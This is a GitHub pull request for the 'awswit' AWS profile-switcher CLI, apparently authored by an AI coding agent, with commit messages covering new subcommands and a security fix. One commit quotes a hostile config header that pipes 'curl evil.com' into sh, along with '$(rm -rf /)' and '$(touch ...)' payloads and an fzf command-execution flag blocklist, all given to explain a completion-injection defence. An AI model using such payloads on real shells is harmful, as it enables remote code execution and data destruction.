Skip to content

Refactor CLI, add exec/pick/which/doctor/prompt subcommands#11

Open
atriumnook wants to merge 18 commits into
mainfrom
claude/v0.1.0-rebuild
Open

Refactor CLI, add exec/pick/which/doctor/prompt subcommands#11
atriumnook wants to merge 18 commits into
mainfrom
claude/v0.1.0-rebuild

Conversation

@atriumnook
Copy link
Copy Markdown
Owner

This is a major refactor that adds first-class scripting support and diagnostic tools to awswit, while simplifying the core profile-switching logic.

Summary

Restructures the main entry point to support new subcommands (exec, pick, which, doctor, prompt) alongside the existing interactive and non-interactive modes. Improves frecency scoring with continuous exponential decay, refactors shell initialization scripts to properly handle subcommand passthrough, and adds SSO token expiry detection.

Key Changes

New Subcommands:

  • awswit exec PROFILE -- CMD — run a command with AWS_PROFILE set in the child process only, without mutating the parent shell
  • awswit pick — open the picker and print the selected profile to stdout (for shell substitution)
  • awswit which — report the currently active profile with region/account/role/SSO status and token expiry
  • awswit doctor — audit ~/.aws/config and SSO cache for errors (missing source_profile chains, cycles, expired tokens, malformed MFA, region typos, shell-unsafe names); supports --json for CI
  • awswit prompt --format … --default … — print current profile for shell-prompt embedding

Core Improvements:

  • Frecency scoring: replaced four-bucket step function with continuous exponential decay (score = use_count * 2^(-age_hours/72)) for smooth ranking without bucket-edge lurches
  • ProfilePicker now returns PickerOutcome (selected profile + updated history) instead of just the selection, ensuring favorite toggles inside the picker are persisted correctly
  • Added fast path for tab-completion (-l --names-only) that skips AppContext::build to avoid touching history and SSO cache on every keystroke
  • Shell initialization scripts now use a case statement to pass through subcommands directly (no --shell-export wrapping) while wrapping profile-switch calls with --shell-export
  • Tolerant INI parser for AWS config files — malformed lines are skipped with a warning instead of failing the entire file, so a stray [profile bad written by another tool can't break awswit -l for the whole shell

New Modules:

  • src/sso.rs — reads AWS CLI's SSO token cache (~/.aws/sso/cache/*.json) to check session expiry and report in which and doctor
  • src/utils/paths.rs — XDG-compliant data directory resolution with legacy migration support

Removed:

  • AwswitConfig (the ~/.awswit/config.toml file) — configuration is now CLI-only
  • StatusLine spinner widget — no longer needed with the new architecture
  • configparser dependency — replaced with hand-rolled tolerant INI parser

CLI Changes:

  • --info--verbose (more standard naming)
  • --list-profiles--list
  • --show-commands--shell-export (clearer intent)
  • Added --names-only (for tab-completion fast path)
  • Added --no-interactive (explicit opt-out of picker)
  • Renamed --disable-fzf--no-fzf
  • Argument help text improved for clarity

Testing:

  • Integration tests expanded to cover new subcommands and output formats (TSV, JSON, names-only)
  • Frecency tests updated to verify continuous-decay properties (monotonicity, half-life halving)

Documentation:

  • README expanded with quick-start installer commands, usage examples, and detailed feature descriptions
  • CHANGELOG added with v0.1.0 release notes documenting all new features
  • Inline code comments improved throughout for clarity

Implementation Details

  • The picker's raw-mode and alternate-screen setup now uses RAII drop guards to ensure cleanup even on panic, preventing terminal wedging on Windows Terminal / conhost
  • History is now passed through the picker and returned with updates, ensuring a single save site in switch_profile always sees the latest state (previously the picker saved on-toggle while main saved a stale snapshot, silently reverting favorite

https://claude.ai/code/session_018cLawX5tjPt9UtSH8hg1ha

claude added 16 commits May 13, 2026 14:04
Refocus the surface area of awswit on the one job that matters — picking
a profile and setting AWS_PROFILE in the current shell — and remove
machinery that was either unused, redundant, or actively harmful to UX.

Net change: 20 files, +863 / -1370 lines.

## Stop managing variables we have no business managing

awswit now sets/unsets only the two variables the modern AWS SDK
actually reads first:

- AWS_PROFILE
- AWS_REGION

Removed: AWS_DEFAULT_PROFILE, AWS_DEFAULT_REGION (legacy alternates that
the SDK prefers the non-DEFAULT forms over) and AWSWIT_PROFILE
(awswit-private marker variable that duplicated AWS_PROFILE and did
nothing the SDK consumes).

## Replace the bespoke shell-IPC protocol with `eval $(awswit -s)`

The previous design wrote a mix of `KEY=VALUE` lines, status text, and
an `AWSWIT_UNSET=1` sentinel to stdout, then had bash/zsh/fish/powershell
each implement a ~40-line parser. Four shell-specific implementations
that had to be kept in sync with `MANAGED_VARS` in Rust.

Replace with the standard pattern:

    awswit() { eval "$(command awswit --shell-export "$@")"; }

- `awswit --shell-export` emits only `export` / `set` / `unset` lines
  on stdout — safe for `eval`.
- Status messages and warnings go to stderr.
- Each init script collapses to ~6 lines. The Rust↔shell sync
  constraint is gone.

## Drop the awswit config file

`~/.awswit/config.toml` is no longer read. The three knobs it offered
are handled by industry-standard env vars or existing flags:

- `colors` → `NO_COLOR` (https://no-color.org)
- `fuzzy-match` → on by default; `AWSWIT_NO_FUZZY=1` to opt out
- `region` → `AWS_REGION` env var or `--region` flag

One less file for users to discover, manage, and debug.

## XDG paths + automatic migration

History moves from `~/.awswit/history.json` to
`$XDG_DATA_HOME/awswit/history.json` (default
`~/.local/share/awswit/history.json`). Existing files at the legacy
location are renamed on first run; users keep their frecency state.

The history file is now written with the user's umask. The previous
forced 0o600 was security theater for non-secret data (profile names,
timestamps, favorite flags) and conflicted with the project's stance
of "we don't deal in credentials".

## Make `awswit -l` actually composable

Previously: pretty ANSI-decorated table only, headers always present,
fixed 20-char truncation. Hostile to `awk` / `grep`.

Now:

- TSV (no headers, no decoration) when stdout is piped.
- Pretty table, full-width profile names, when stdout is a tty.
- `--json` to force structured output.

The integration test asserts each mode produces what's documented.

## Smoother frecency, less surprising fuzzy match

- Frecency uses continuous exponential decay (half-life 72 h) instead
  of the previous four step buckets, so ranking changes smoothly
  rather than jumping at the 1 h / 24 h / 168 h bucket edges.
- Fuzzy-match substitutions log a clear stderr warning with the
  resolved name and the env var to opt out (`AWSWIT_NO_FUZZY=1`),
  so production typos don't switch profiles silently.

## Warn inside aws-vault sessions

If `AWS_VAULT` is set when the user switches profile, awswit emits a
warning on stderr: changing AWS_PROFILE inside an aws-vault session
strands the session credentials in the environment.

## Cleanups

- Delete `src/tui/spinner.rs` (StatusLine — no longer used now that
  status goes through eprintln!/tracing).
- Delete `src/config/awswit_config.rs` and the `AwswitConfig` module.
- Rename `--info` → `--verbose`, rename `-l --list-profiles` →
  `-l --list`; rename `--show-commands` → `--shell-export` / `-s` to
  match what it actually does.

## Migration

All users of 0.0.x should re-source their shell init after upgrade:

    eval "$(awswit init bash)"   # or zsh / fish / powershell
…UI polish

Self-review pass: targeted the remaining accidental complexity, fixed a
real correctness bug, and added the four subcommands that put awswit in
the same league as awsume / aws-vault as a daily driver — without
adopting their credential-management surface.

## Bug fix: TUI favorite toggle was getting silently overwritten

Before: picker saved history on each `*` press; main re-saved a stale
snapshot afterwards, reverting whatever the user just toggled.

After: picker returns a `PickerOutcome { selected, history }`; main is
the single save site, always writing the latest. Picker no longer
touches disk.

Toggling a favorite now also re-sorts the entries immediately and keeps
the cursor on the toggled profile, so the user gets visible feedback
that the action took effect.

## New subcommand: `awswit exec PROFILE -- CMD ARGS...`

Run a one-off command with `AWS_PROFILE` (and the profile's region) set
in the child only, without mutating the parent shell. Exit code is
propagated. The wrapper passes `exec` through directly so the command's
stdout isn't `eval`'d.

    $ awswit exec staging -- aws s3 ls s3://bucket

## New subcommand: `awswit which`

Reports the currently active profile, with type / region / account /
role / source-chain / MFA / SSO start URL. Reads the AWS CLI's SSO
token cache (`~/.aws/sso/cache/*.json`) and surfaces expiry status
directly:

    $ awswit which
    AWS_PROFILE: prod
    type:        SSO
    region:      ap-northeast-1
    sso_start:   https://example.awsapps.com/start
    sso_token:   EXPIRED — run `aws sso login --profile prod`

## New subcommand: `awswit doctor`

Audits `~/.aws/config` and the SSO cache for the issues that bite users
in practice — missing `source_profile` chains, expired/absent SSO
tokens, malformed `mfa_serial`, role profiles with no credential
source. Exits non-zero when there's at least one error. CI-friendly.

## New subcommand: `awswit prompt`

One-line current-profile printer designed for shell-prompt embedding.
Format string accepts both `{}` and `%s`; configurable fallback when
no profile is set.

    PS1='$(awswit prompt --format "[%s] " --default "")\u@\h \$ '

## Better error messages

`ProfileNotFound` now suggests up to three near-matches, ranked by
Levenshtein distance and filtered so noise candidates don't appear:

    $ awswit -n dvv
    awswit: [E001] Profile not found: dvv — did you mean: dev?

## TUI polish

- Readline-style line editing: `Ctrl-A`, `Ctrl-E`, `Ctrl-W` in the
  search bar (was: only `Ctrl-U`).
- Empty-state hint instead of a blank panel when `~/.aws/config` is
  empty.
- Preview pane wraps long ARNs / SSO start URLs and shows a relative
  "last used" timestamp.

## Wrapper passthrough

`awswit init` now emits a wrapper that passes `exec` / `which` /
`doctor` / `prompt` / `init` / `completions` / `-l` / `-h` / `-v` /
`--help` / `--version` directly to the binary instead of capturing
stdout into `eval`. Only the actual switch path takes the
`--shell-export` route.

## Tests

- 11 new integration tests cover the new subcommands, the "did you
  mean" hint path, exec exit-code propagation, prompt format
  variants, and doctor's broken-source-profile detection.
- 96 unit + integration tests total, all green; cargo clippy
  `-D warnings` clean; cargo fmt clean.

## Performance

Cold-start measurements on Linux/x86_64 release build:

- `awswit --version`: ~2 ms
- `awswit -l` (3 profiles): ~3 ms
- `awswit doctor`: ~3 ms

## Net change

14 files, +1,442 / -491 lines (+951). Bulk of the addition is the new
subcommand implementations and their tests, plus a thoroughly
documented `src/sso.rs` that reads only `startUrl`, `region`, and
`expiresAt` from the SSO cache — never the token itself.
Cover the rendering contract that's invisible to the existing unit
tests for PickerApp state:

- every profile appears in the list
- the '<filtered>/<total>' indicator updates with the search query
- the empty-profile-set hint and example block render when ~/.aws/config
  is empty
- the help bar advertises every documented keybinding
- the search bar echoes the typed query
- a favorited entry shows the star glyph after toggling
- the preview pane renders alongside the list when the terminal is wide
- tiny terminals don't panic in the layout
…ory)

Five small but compounding issues found in a focused Rust code review:

1. **Terminal stuck in raw mode if the picker panics** (src/tui/picker.rs).
   `run()` called `enable_raw_mode`, then `run_inner` which caught
   panics, restored the alt-screen, and `resume_unwind`'d. That re-raised
   panic propagated past the cleanup line in `run()`, leaving raw mode
   on. Replace the manual cleanup with an RAII guard so a panic in
   ratatui (degenerate `Rect`, layout math on tiny terminals) can't wedge
   the user's terminal.

2. **`name.len()` (bytes) used as a char-distance threshold**
   (src/main.rs::profile_not_found_with_hint). `strsim::levenshtein`
   counts chars, so for non-ASCII names like "プロ" (byte len 6 / 2 chars)
   the threshold was 3 — accepting noise suggestions. Switch to
   `chars().count()` on both sides.

3. **`exec_command` re-loaded history from disk, dropped save errors,
   and recorded use only *after* the child exited** (src/main.rs).
   Three small mistakes compounding: ignored `ctx.history` and re-read
   from disk, `let _ = save_history(..)` swallowed errors (every other
   site logs), and a long-running or killed command never bumped
   frecency. Record-and-save before spawn, reuse the in-memory history,
   and log save errors via tracing — matching the other call sites.

4. **`picker.run()` `io::Error` flattened into `ShellError` lost
   kind/source** (src/main.rs). `AwswitError` already has
   `From<io::Error>` (the `?` on `emit_export` uses it); use it
   directly so users can tell "no /dev/tty" from "shell init failed".

5. **`save_history` could leak stale `*.tmp` and lose data on crash**
   (src/history/storage.rs). PID-named temp files orphaned across crashes
   never got cleaned up, and `fs::write` didn't fsync before rename so
   a power loss mid-write could leave a zero-byte history after rename.
   Sweep stale temps on entry, use `File::create` + `write_all` +
   `sync_all` before `rename`.
The init snippet now defines a shell-native completer that calls back
into 'awswit -l' to populate profile-name suggestions, so users get
real-time tab completion that reflects the current ~/.aws/config
without any caching or manual refresh.

bash    – complete -F _awswit_complete (compgen -W)
zsh     – compdef _awswit (_alternative / compadd)
fish    – complete -c awswit -a '(__awswit_profiles)' on subcommand
          position and after 'exec'
powershell – Register-ArgumentCompleter -Native

Hand-verified in bash that:
  awswit <TAB>           → subcommands + all profile names
  awswit pro<TAB>        → 'prompt prod' (subcommand + profile match)
  awswit exec <TAB>      → profile names only
  awswit exec d<TAB>     → 'default dev'
1. **`-n` no longer silently switches to `default`** when both $AWS_PROFILE
   and the PROFILE argument are absent. Returns an error instead so a CI
   step with an unexpectedly-empty environment can't run against the
   default (often admin) account. (src/main.rs::resolve_target_profile.)

2. **`awswit which` exits 1** when $AWS_PROFILE points at a profile that
   does not exist in ~/.aws/config. CI / precmd guards using `awswit
   which` for health-checks now get an actionable signal. The
   "AWS_PROFILE unset" path still exits 0 (that's a valid state).

3. **`awswit exec PROFILE CMD …` works without `--`** in the common case
   where CMD has no leading flags. Replaces clap's `last = true`
   (which forced the separator) with `trailing_var_arg = true,
   allow_hyphen_values = true`. `--` still works and is still
   recommended when CMD starts with `-`.

4. **Non-interactive paths no longer auto-fuzzy-match.** Previously `-n
   prd` would silently switch you to `prod` with a stderr note — fine
   interactively, dangerous in scripts. Now in `-n` and `exec` modes
   the binary errors out with a "did you mean…?" suggestion and a
   non-zero exit; interactive bare-arg invocation still auto-corrects
   for convenience.

5. **`prompt --help` clarifies the no-trailing-newline contract** —
   the previous text didn't mention that running it interactively
   appears to do nothing (the next prompt overdraws it). New help
   tells the user to run `awswit prompt; echo` to inspect it.

6. **`doctor` plurals + actionable role-profile hint.** Replaces
   `0 error(s), 2 warning(s)` with integer-aware
   `0 errors, 2 warnings`, and the "role profile has neither
   source_profile nor credential_source" warning now tells the
   user what to add: `source_profile = main` or
   `credential_source = Environment|Ec2InstanceMetadata|EcsContainer`.

6 new integration tests cover the new behaviors.
Opens the picker (TUI or fzf), prints only the selected profile name to
stdout, exits 130 on cancel. Designed for shell substitution — no
status chatter on stdout, no parent-shell mutation:

    aws --profile "$(awswit pick)" sts get-caller-identity
    awswit exec "$(awswit pick)" -- aws s3 ls
    aws sso login --profile "$(awswit pick)"

Records the use in history so 'pick' interactions contribute to
frecency on equal footing with the in-shell switch path.

Wrapper passthrough updated in all four init scripts so 'pick' isn't
fed through --shell-export by accident. The bash/zsh/fish/powershell
completion lists include 'pick' alongside the other subcommands.
Two production-SRE findings:

1. **Always clear AWS_DEFAULT_PROFILE / AWS_DEFAULT_REGION on every
   switch and on `awswit -u`.** The AWS SDK falls back to the legacy
   AWS_DEFAULT_* variables when the modern ones are unset, so a
   trailing AWS_DEFAULT_PROFILE from a CI image, corporate dotfile, or
   earlier `aws configure` could silently route requests to the
   previous account after `awswit prod` or even after `awswit -u`.
   The `exec` path already cleared them; the shell-switch path didn't.
   Symmetry restored.

   We still never *set* AWS_DEFAULT_*. Modern AWS SDKs prefer the
   non-DEFAULT form, and introducing new variables onto the user's
   environment is out of scope; we just don't leave a stale fallback
   pointing at the wrong account.

   Updated MANAGED_VARS doc-comment, every export() call site, and the
   shell-export integration test to assert both the new unset lines and
   the absence of any export AWS_DEFAULT_*.

2. **Age-gate the save_history temp-file sweep so it can't race a
   concurrent awswit.** The previous sweep ran every invocation and
   deleted *every* matching `history.json.<pid>.tmp` sibling — fine
   when no one else is running, but with parallel xargs / TUI-and-CI
   overlap the sweep would delete the other process's in-flight tmp,
   turning its rename into ENOENT. Now only files older than one hour
   are swept, so two concurrent saves with distinct PIDs never collide
   even under stress. Crash-orphaned tmps are still reaped on the next
   invocation an hour later.
… awswit

Replaces the configparser crate (whole-file failure on any single
malformed line) with a hand-rolled tolerant parser specifically targeted
at AWS config syntax (section headers, key=value, ; / # comments).

The previous configparser-based path returned [E002 Failed to parse …]
on a single bad line anywhere in ~/.aws/config — and since the bash/zsh
shell wrapper calls 'awswit -l' on every tab-completion, a stray
'[profile bad' header from any other AWS tooling (aws configure sso,
granted, terraform helpers) silently killed tab-completion across the
whole team's shells.

New behaviour:

- Sections with malformed headers ('[profile bad' missing ']', empty
  '[]') are skipped with a tracing::warn! and parsing continues.
- key=value lines outside any section are reported and dropped.
- Comment markers ('#', ';') at the start of a line or after whitespace
  are stripped.
- Unknown sections (sso-session, services, etc.) are ignored gracefully
  rather than masquerading as profiles.

Five new unit tests cover the new tolerance contract:
- malformed section header is skipped, surrounding profiles survive
- line comments and inline comments are stripped
- sso-session sections are ignored
- empty section headers are skipped
- well-formed configs continue to parse unchanged

Drops the configparser dependency. The new parser is ~50 LOC, exactly
fits the AWS config dialect, and removes one third-party surface.
Two operability findings from the SRE review:

**1. `awswit -l --names-only` for tab-completion.**

Tab-completion runs `command awswit -l` on every keystroke. The old
path went through AppContext::build, which reads ~/.aws/credentials,
~/.aws/sso/cache/*.json, and the history file — measurable lag on
NFS-mounted $HOME and large SSO caches. The new --names-only path:

- only reads ~/.aws/config (one syscall),
- only collects section headers (no key parsing),
- skips history and SSO cache entirely.

All four init scripts (bash / zsh / fish / powershell) now use
`awswit -l --names-only` for their completion functions.

**2. `AWSWIT_SSO_CACHE_DIR` env override.**

CI images and containers routinely mount /aws-config and put the SSO
token cache somewhere other than ~/.aws/sso/cache. The reviewer's
finding: `AWS_CONFIG_FILE` was honored but `doctor` / `which` would
always miss the SSO token in those setups. Resolution order is now:

  1. $AWSWIT_SSO_CACHE_DIR (explicit override)
  2. ${AWS_CONFIG_FILE%/config}/sso/cache (auto-detected when the
     containerized config is self-contained)
  3. ~/.aws/sso/cache (default)

Documented in README under Environment variables.
…xed help

Five docs/DX findings addressed:

1. **`--names-only` and `awswit pick` documented in CLI reference and
   scripting examples.** Adds the flag to the Top-level flags table and
   the pick subcommand. Reworks the pick scripting example to guard
   against cancel (exit 130) so users don't accidentally run
   `aws --profile ""`.

2. **CHANGELOG v0.1.0 entry updated to match what actually shipped.**
   Adds bullets for `pick`, `--names-only`, `AWSWIT_SSO_CACHE_DIR`,
   the tolerant INI parser, the AWS_DEFAULT_* active-unset behaviour,
   the picker raw-mode guard, the durable save_history, the
   non-interactive fuzzy refusal, and the doctor message polish.
   Strengthens the breaking-changes wording from "no longer set" to
   the more accurate "now actively unset on every switch".

3. **Comparison table corrected.** aws-vault's interactive-pick claim
   downgraded to "— (list only)" — `aws-vault list` is read-only.
   awsume's "fuzzy matching" claim upgraded to ✅ (built-in) since
   modern awsume has fuzzy matching out of the box. Drops the
   cold-start microbenchmark row — it had no methodology and was
   unfair to competitors.

4. **"What awswit does, exactly" section updated** to show the actual
   four-line export+unset block, with an explanation of why we
   actively unset AWS_DEFAULT_*. The previous wording implied two
   exports total; the safety commit added two unsets.

5. **`init` / `exec` / `pick` help text now has one example per
   line.** Clap collapses doc-comment lines into paragraphs by
   default; switched to `{n}` to force newlines so multi-line
   example blocks render as a list instead of one run-on line.

No behaviour changes — docs and help text only.
**CRITICAL** — bash tab-completion executed $(…) embedded in hostile
profile names.

A teammate's IaC tool, compromised dotfile syncer, or any other process
that writes to ~/.aws/config could embed a payload as a section header:

    [profile $(curl evil.com|sh)]

The completion function in src/init/bash.sh did:

    profiles=$(command awswit -l --names-only 2>/dev/null)
    COMPREPLY=( $(compgen -W "${subs} ${profiles}" -- "${cur}") )

bash's `compgen -W <wordlist>` runs word-splitting + expansion on its
argument, including command substitution. So pressing TAB after typing
`awswit ` executed the payload — every keystroke that re-triggered
completion re-executed it. Reproduced and confirmed by the security
reviewer; before fix, hostile profile created /tmp/awswit-pwn during
tab-completion.

Defense in depth, both layers applied:

1. **Source filter (src/config/aws_files.rs).** `fast_profile_names`
   now drops any name containing a character outside
   `[A-Za-z0-9._/@+=-]` with a `tracing::warn!`. Realistic AWS
   profile names ("prod-us-east-1", "aws@sso", "alpha+beta") still
   pass; `$(...)`, backticks, `;`, `|`, whitespace, control chars,
   etc. don't.

2. **Bash completion quoting (src/init/bash.sh).** The completer now
   reads names into a bash array via `while read` and quotes each via
   `printf %q` before handing them to compgen. Even if a future
   change to the source filter is too permissive, compgen never sees
   an un-quoted shell metacharacter.

End-to-end re-tested with hostile `[profile $(touch /tmp/x)]` and
`[profile `id`]` — both blocked, no file written.

**LOW** — `BLOCKED_FZF_OPTIONS` missed fzf 0.41+ RPC flags.

fzf 0.41 added `--listen` / `--listen-unsafe` (HTTP RPC server that
accepts `execute(cmd)` POSTs) and `--with-shell`, none of which our
`AWSWIT_FZF_OPTS` allow-list noticed. They give the same arbitrary
command-execution power as the already-blocked `--bind` / `--execute` —
just via a different surface. Added to the blocklist; tests updated.

Other audited surfaces verified clean by the reviewer: POSIX/PowerShell
quoting (round-trips $(whoami) / `id` / it's correctly under eval),
newline/CR rejection, exec environment handling, atomic history writes,
SSO cache reads (never reads tokens into memory), tracing sinks
(stderr-only, never disk), and `awswit prompt` in PS1 (modern bash
doesn't recursively command-sub PS1 $(…) results).
Extends `awswit doctor` with three additional checks that catch real
production breakage classes:

1. **source_profile chain cycles** (Error). A profile that role-chains
   back to itself (a → b → a) makes the AWS SDK loop forever resolving
   credentials. The new `find_source_profile_cycle` walks the chain
   with a HashSet visited-set and reports the path:

     ERROR [loop-a] source_profile chain forms a cycle: loop-a -> loop-b -> loop-a
     — the AWS SDK will loop forever resolving credentials

2. **Region format sanity check** (Warning). Catches the common typos
   `us-east-1a` (AZ pasted as region), `useast1` (no hyphens), and
   `eu-west` (missing trailing digit) without baking in the AWS region
   list. Heuristic: at least three hyphen-separated tokens, last token
   purely digits, others lowercase alphanumeric. Permissive enough to
   admit every gov/cn/isob region AWS has shipped.

3. **Shell-unsafe profile names** (Error). Mirrors the filter that
   `fast_profile_names` already applies — surfaces names like
   `[profile $(rm -rf /)]` (an unrendered template variable or hostile
   write by another tool) in the doctor report so users understand why
   tab-completion is silently skipping them. Same character set as
   the source filter (alphanumeric + - _ . / @ + =).

Two new integration tests cover cycle detection and region warnings.
The pre-existing missing-source-profile test continues to pass.
Five cross-platform-reviewer findings addressed in one pass:

1. **`data_dir()` now uses `%LOCALAPPDATA%\awswit\` on Windows.**
   Previously the default fallback produced `C:\Users\<u>\.local\
   share\awswit\` — a Unix layout in a Windows user profile, which
   fights AV exclusion lists and gets roamed by some corporate
   policies. `` continues to take precedence on every
   platform so container/CI overrides still work.

2. **PowerShell completion: literal matching + CRLF trim.**
   The old `-like $wordToComplete*` treated profile names containing
   PowerShell wildcards (`*`, `?`, `[`, `]`) as patterns —
   `prod*qa` matched everything starting with `prod` and
   `prod[1]` matched nothing. Switched to
   `StartsWith([StringComparison]::OrdinalIgnoreCase)`. Captured
   names are now also `.TrimEnd("\`r")`'d so a CRLF-translating
   stdout (msys, cmd-style redirect) doesn't leave stray \r on every
   completion candidate.

3. **TUI mouse-capture drop guard.** Mirrors the
   raw_mode guard from the Rust-review pass. A panic between
   `EnterAlternateScreen + EnableMouseCapture` and the explicit
   cleanup would otherwise leave Windows Terminal / conhost
   eating selection clicks and stuck on the alt-screen. RAII guard
   now runs `LeaveAlternateScreen + DisableMouseCapture` on every
   exit path including unwind.

4. **`AWS_CONFIG_FILE` honors `~` in `sso_cache_dir()`.** Users
   (and Docker mounts) commonly set
   `AWS_CONFIG_FILE=~/.aws/config`. `Path::new("~/.aws/config")
   .parent()` returns `Some("~/.aws")` which `is_dir()` rejects,
   silently dropping the auto-detect. Run `shellexpand::tilde` first
   so the parent derivation works on every platform.

5. **Cargo-dist targets: add aarch64-pc-windows-msvc and
   x86_64-unknown-linux-musl.** Windows-on-ARM (Surface Pro X,
   Snapdragon X laptops) now gets a native binary instead of falling
   back to x64 emulation; `-linux-musl` makes the binary load in
   Alpine and scratch-based CI containers where glibc isn't around.
…used

Two enhancements driven by CI / automation use cases:

1. **`awswit doctor --json`** emits the diagnostic set as JSON so CI
   pipelines, dashboards, and machine consumers can act on it without
   parsing the human-readable format. Schema:

       {
         "profiles_checked": 12,
         "errors": 1,
         "warnings": 2,
         "diagnostics": [
           { "level": "error", "profile": "foo", "message": "…" },
           …
         ]
       }

   Exit code matches the human path (1 if any errors, 0 otherwise).

2. **`awswit -l --json`** now includes `favorite`, `use_count`, and
   `last_used` (RFC 3339, or null) per profile. The fields surface
   data the TUI already uses for ranking, so scripts can reproduce
   the same ordering or build their own dashboards:

       jq '.[] | select(.favorite or .use_count > 10)'

The non-JSON `-l` path is unchanged.

Doctor variant in `Command` enum is now `Doctor { json: bool }`; the
parse-tests cover both `awswit doctor` and `awswit doctor --json`.
Final docs sync — the v0.1.0 CHANGELOG entry now reflects:
- doctor's new checks (cycles, region typos, shell-unsafe names)
- doctor --json
- list --json includes favorite/use_count/last_used
- the critical bash-completion injection fix
- fzf RPC blocklist additions
- Windows path defaults, PowerShell completion fixes, new build
  targets, mouse-capture guard, AWS_CONFIG_FILE tilde expansion

No code changes.
Copilot AI review requested due to automatic review settings May 13, 2026 21:33
The integration suite failed on `Test (windows-latest, stable)` because
three tests hardcoded Unix-only commands:

  - `/usr/bin/env` to print the spawned environment
  - `sh -c 'exit 42'` to verify exit-code propagation

Windows runners don't have `/usr/bin/env` or POSIX `sh` on PATH, so
`exec_command` returned ENOENT and the assertions tripped.

Resolution: keep the Unix-flavored tests under `#[cfg(unix)]` so they
continue to exercise real `/usr/bin/env` / `sh` behaviour where it's
available, and add portable companions that invoke the awswit binary
itself as the spawned command:

  - exec_sets_aws_profile_via_self_invocation runs
    `awswit exec dev -- awswit which` and asserts
    `AWS_PROFILE: dev` in the output.
  - exec_propagates_exit_code_portable runs
    `awswit exec default -- awswit -n nonexistent-profile` which is
    guaranteed to exit 1 on every platform.
  - exec_works_without_dashdash_separator_portable mirrors the bare
    `exec PROFILE CMD …` test using the same self-invocation pattern.

Local test count grows from 29 to 32 integration tests; all pass on
this Linux runner, and the new ones use only CARGO_BIN_EXE_awswit so
they'll also pass on macOS and Windows CI.
Copy link
Copy Markdown

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR refactors awswit’s CLI to support new scripting/diagnostic subcommands (exec, pick, which, doctor, prompt), updates the history/frecency model to continuous exponential decay, and hardens shell integration/completion while removing the old ~/.awswit/config.toml config layer.

Changes:

  • Reworked CLI entrypoint and shell-export protocol; added multiple new subcommands and flags (--shell-export, --names-only, --json, --no-interactive, etc.).
  • Replaced bucketed frecency with exponential decay and refactored picker/history flow to persist favorite toggles correctly.
  • Added SSO cache inspection (src/sso.rs), XDG/Windows data-dir resolution and legacy history migration, and a tolerant AWS INI parser.

Reviewed changes

Copilot reviewed 26 out of 27 changed files in this pull request and generated 10 comments.

Show a summary per file
File Description
tests/integration_basic.rs Expands end-to-end CLI coverage for list/export/exec/which/doctor/prompt behaviors.
tests/frecency.rs Updates frecency tests to assert properties of continuous decay rather than bucket boundaries.
src/utils/paths.rs Adds XDG-/Windows-aware data dir resolution plus legacy migration helper.
src/utils/fuzzy.rs Refines fuzzy matching and adds ranked “nearest N” suggestions for error messaging.
src/tui/spinner.rs Removes the old StatusLine spinner/status helper.
src/tui/preview.rs Enhances preview pane (wrapping, SSO start URL, last-used display) and adds human_age.
src/tui/picker.rs Refactors picker to return PickerOutcome (selection + updated history) and adds RAII terminal guards and render tests.
src/tui/mod.rs Removes re-exports tied to deleted spinner/preview public API surface.
src/tui/fzf.rs Expands blocked fzf options to cover RPC/listen-related flags and other execution surfaces.
src/sso.rs New module to read AWS CLI SSO token cache and expose expiry info for which/doctor.
src/shell/export.rs Reworks shell export/unset generation; clears legacy AWS_DEFAULT_* and adds PowerShell quoting.
src/main.rs Major CLI restructure: new subcommands, list output modes (TSV/JSON/names-only), doctor/which logic, and exec spawning.
src/lib.rs Exposes the new sso module publicly.
src/init/zsh.sh Simplifies wrapper to passthrough subcommands and add dynamic completion via -l --names-only.
src/init/powershell.ps1 Updates wrapper + argument completer to use dynamic profile list and safer matching.
src/init/fish.fish Simplifies wrapper and adds dynamic completions.
src/init/bash.sh Simplifies wrapper and adds dynamic completions with quoting defense-in-depth.
src/history/storage.rs Implements exponential frecency and refactors atomic-ish history persistence + temp cleanup.
src/context.rs Removes awswit-specific config loading and simplifies startup context.
src/config/mod.rs Drops AwswitConfig export and keeps AwsFiles.
src/config/awswit_config.rs Removes the old ~/.awswit/config.toml config model.
src/config/aws_files.rs Replaces configparser with a tolerant INI reader and adds fast_profile_names for completion.
src/cli/args.rs Adds new subcommands/flags and updates help text to match new CLI.
README.md Updates installation, usage, env var docs, scripting examples, and feature descriptions.
CHANGELOG.md Adds v0.1.0 release notes describing new CLI, behavior changes, and migrations.
Cargo.toml Bumps version to 0.1.0, updates dist targets, removes configparser dependency.
Cargo.lock Locks dependency changes for the new version and removed configparser.
Comments suppressed due to low confidence (1)

tests/integration_basic.rs:353

  • This test also hard-codes /usr/bin/env, which is not portable to Windows. Consider using env via PATH, an OS-conditional command, or awswit which under exec to assert the environment instead.
        .unwrap();
    assert_eq!(
        output.status.code(),
        Some(1),
        "which should signal mis-config in CI / precmd guards"
    );
    let stdout = String::from_utf8_lossy(&output.stdout);
    assert!(stdout.contains("warning"));
}


💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

Comment thread src/main.rs
"name": n,
"type": classify(p),
"source": p.source_profile.as_deref().or(p.credential_source.as_deref()),
"region": p.region,
Comment thread src/main.rs
Comment on lines +710 to +711
"profile": d.profile,
"message": d.message,
Comment thread src/init/bash.sh
Comment on lines 3 to +14
awswit() {
local output
local exit_code
case "$1" in
exec|pick|which|doctor|init|completions|prompt|help|-h|--help|-v|--version|-l|--list)
command awswit "$@"
return
;;
esac
local _out _rc
_out=$(command awswit --shell-export "$@")
_rc=$?
[ $_rc -eq 0 ] && [ -n "$_out" ] && eval "$_out"
return $_rc
Comment thread src/init/zsh.sh
Comment on lines 3 to +14
awswit() {
local output
local exit_code
case "$1" in
exec|pick|which|doctor|init|completions|prompt|help|-h|--help|-v|--version|-l|--list)
command awswit "$@"
return
;;
esac
local _out _rc
_out=$(command awswit --shell-export "$@")
_rc=$?
[ $_rc -eq 0 ] && [ -n "$_out" ] && eval "$_out"
return $_rc
Comment thread src/init/fish.fish
Comment on lines +3 to +14
function awswit
switch $argv[1]
case exec pick which doctor init completions prompt help -h --help -v --version -l --list
command awswit $argv
return
end

for line in $output
set -l parts (string split -m1 '=' $line)
set -l key $parts[1]
set -l value $parts[2]

switch $key
case AWS_PROFILE AWS_DEFAULT_PROFILE AWS_REGION AWS_DEFAULT_REGION AWSWIT_PROFILE
if test -n "$value"
set -gx $key $value
else
set -e $key
end
case AWSWIT_UNSET
set -e AWS_PROFILE
set -e AWS_DEFAULT_PROFILE
